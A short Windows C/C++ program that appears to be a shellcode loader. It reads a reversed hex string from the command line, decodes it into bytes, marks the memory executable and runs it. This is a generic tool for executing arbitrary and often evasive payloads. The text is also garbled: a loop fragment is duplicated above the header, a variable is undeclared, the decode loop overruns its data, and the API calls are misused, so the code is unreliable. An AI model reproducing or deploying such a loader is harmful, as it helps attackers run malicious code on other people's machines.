int p = 0;
for (int i = strlen(str) - 1; i >= 0; i--)
{
temp[p++] = str[i];
}
// hex.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
int main(int argc, char* argv[]) {
char *str = argv[1];
unsigned int char_in_hex;
unsigned int iterations = strlen(str);
unsigned int memory_allocation = strlen(str) / 2;
char* temp = (char*)VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
int p = 0;
for (int i = strlen(str) - 1; i >= 0; i--)
{
temp[p++] = str[i];
}
char* shellcode = (char*)temp;
for (i = 0; i < iterations - 1; i++) {
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void* exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, NULL);
(*(void (*WINAPI)()) exec)();
return 0;
}